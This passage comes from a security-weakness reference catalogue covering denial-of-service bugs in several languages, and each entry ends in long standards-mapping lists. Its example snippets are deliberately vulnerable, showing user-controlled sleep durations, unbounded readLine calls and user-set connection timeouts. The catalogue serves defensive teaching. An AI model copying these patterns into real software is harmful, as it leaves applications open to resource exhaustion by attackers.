[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[39] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[40] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.golang.denial_of_service
Abstract
An attacker could cause the program to crash or otherwise become unavailable to legitimate users.
Explanation
Attackers may be able to deny service to legitimate users by flooding the application with requests, but flooding attacks can often be defused at the network layer. More problematic are bugs that allow an attacker to overload the application using a small number of requests. Such bugs allow the attacker to specify the quantity of system resources their requests will consume or the duration for which they will use them.

Example 1: The following code allows a user to specify the amount of time for which a thread will sleep. By specifying a large number, an attacker may tie up the thread indefinitely. With a small number of requests, the attacker may deplete the application's thread pool.


int usrSleepTime = Integer.parseInt(usrInput);
Thread.sleep(usrSleepTime);
Example 2: The following code reads a String from a zip file. Because it uses the readLine() method, it will read an unbounded amount of input. An attacker may take advantage of this code to cause an OutOfMemoryException or to consume a large amount of memory so that the program spends more time performing garbage collection or runs out of memory during some subsequent operation.


InputStream zipInput = zipFile.getInputStream(zipEntry);
Reader zipReader = new InputStreamReader(zipInput);
BufferedReader br = new BufferedReader(zipReader);
String line = br.readLine();
References
[1] DOS-1: Beware of activities that may use disproportionate resources Oracle
[2] Standards Mapping - Common Weakness Enumeration CWE ID 730
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Directive 4.14
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[6] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-4 Security Impact Analysis (P2), CM-6 Configuration Settings (P1), SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[8] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-4 Impact Analyses, CM-6 Configuration Settings, SC-5 Denial of Service Protection, SI-10 Information Input Validation
[9] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[10] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[11] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[12] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[13] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.4 - Web Software Attack Mitigation
[18] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[40] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[41] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.java.denial_of_service
Abstract
An attacker could cause the program to crash or otherwise become unavailable to legitimate users.
Explanation
Attackers may be able to deny service to legitimate users by flooding the application with requests, but flooding attacks can often be defused at the network layer. More problematic are bugs that allow an attacker to overload the application using a small number of requests. Such bugs allow the attacker to specify the quantity of system resources their requests will consume or the duration for which they will use them.

Example 1: The following code allows a user to specify the size of the file system to be used. By specifying a large number, an attacker may deplete file system resources.


var fsync = requestFileSystemSync(0, userInput);
Example 2: The following code writes to a file. Because the file may be continuously written and rewritten until it is deemed closed by the user agent, disk quota, IO bandwidth, and processes that may require analyzing the content of the file are impacted.


function oninit(fs) {
fs.root.getFile('applog.txt', {create: false}, function(fileEntry) {
fileEntry.createWriter(function(fileWriter) {
fileWriter.seek(fileWriter.length);
var bb = new BlobBuilder();
bb.append('Appending to a file');
fileWriter.write(bb.getBlob('text/plain'));
}, errorHandler);
}, errorHandler);
}

window.requestFileSystem(window.TEMPORARY, 1024*1024, oninit, errorHandler);
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 730
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[3] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Directive 4.14
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-4 Security Impact Analysis (P2), CM-6 Configuration Settings (P1), SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-4 Impact Analyses, CM-6 Configuration Settings, SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[10] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[11] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[12] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.4 - Web Software Attack Mitigation
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[39] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[40] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.javascript.denial_of_service
Abstract
An attacker could cause the program to crash or otherwise become unavailable to legitimate users.
Explanation
Attackers may be able to deny service to legitimate users by flooding the application with requests, but flooding attacks can often be defused at the network layer. More problematic are bugs that allow an attacker to overload the application using a small number of requests. Such bugs allow the attacker to specify the quantity of system resources their requests will consume or the duration for which they will use them.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 730
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[3] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Directive 4.14
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-4 Security Impact Analysis (P2), CM-6 Configuration Settings (P1), SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-4 Impact Analyses, CM-6 Configuration Settings, SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[10] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[11] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[12] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.4 - Web Software Attack Mitigation
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[39] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[40] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.php.denial_of_service
Abstract
An attacker could cause the program to crash or otherwise become unavailable to legitimate users.
Explanation
Attackers may be able to deny service to legitimate users by flooding the application with requests, but flooding attacks can often be defused at the network layer. More problematic are bugs that allow an attacker to overload the application using a small number of requests. Such bugs allow the attacker to specify the quantity of system resources their requests will consume or the duration for which they will use them.

Example 1: The following code allows a user to specify the amount of time for which the system should delay further processing. By specifying a large number, an attacker may tie up the system indefinitely.


procedure go_sleep (
usrSleepTime in NUMBER)
is
dbms_lock.sleep(usrSleepTime);
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 730
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[3] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Directive 4.14
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-4 Security Impact Analysis (P2), CM-6 Configuration Settings (P1), SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-4 Impact Analyses, CM-6 Configuration Settings, SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[10] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[11] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[12] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.4 - Web Software Attack Mitigation
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[39] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[40] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.sql.denial_of_service
Abstract
An attacker could cause the program to crash or otherwise become unavailable to legitimate users.
Explanation
Attackers can deny service to legitimate users by flooding the application with requests, however most flooding attacks can be defused at the network layer. More problematic are defects that enable an attacker to overload the application with a small number of requests. These defects enable the attacker to specify the quantity of system resources their requests will consume or the duration for which they will use them.

Example 1: The following code allows a user to specify the duration of a connection timeout for the connect function. By specifying a large number, an attacker can tie up the connect function indefinitely.


...
insecure_config_ssl_connection_timeout = {
'user': username,
'password': retrievedPassword,
'host': databaseHost,
'port': "3306",
'connection_timeout': connection_timeout
}

mysql.connector.connect(**insecure_config_ssl_connection_timeout)
...
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 730
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[3] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Directive 4.14
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-4 Security Impact Analysis (P2), CM-6 Configuration Settings (P1), SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-4 Impact Analyses, CM-6 Configuration Settings, SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[10] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[11] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[12] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.4 - Web Software Attack Mitigation
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[39] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[40] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.python.denial_of_service
Abstract
An attacker could cause the program to crash or otherwise become unavailable to legitimate users.
Explanation
Attackers may be able to deny service to legitimate users by flooding the application with requests, but flooding attacks can often be defused at the network layer. More problematic are bugs that allow an attacker to overload the application using a small number of requests. Such bugs allow the attacker to specify the quantity of system resources their requests will consume or the duration for which they will use them.

Example 1: The following code allows a user to specify the amount of time for which a thread will sleep. By specifying a large number, an attacker may tie up the thread indefinitely. With a small number of requests, the attacker may deplete the application's thread pool.


Kernel.sleep(user_input)
Example 2: The following code reads a String from a file. Because it uses the readline() method without specifying a limit, it will read an unbounded amount of input. An attacker may take advantage of this code to cause the process to hang whilst consuming more and more memory, until it may potentially run out of memory entirely.


fd = File.new(myFile)
line = fd.readline
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 730
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[3] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Directive 4.14
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-4 Security Impact Analysis (P2), CM-6 Configuration Settings (P1), SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-4 Impact Analyses, CM-6 Configuration Settings, SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[10] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[11] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[12] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.4 - Web Software Attack Mitigation
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
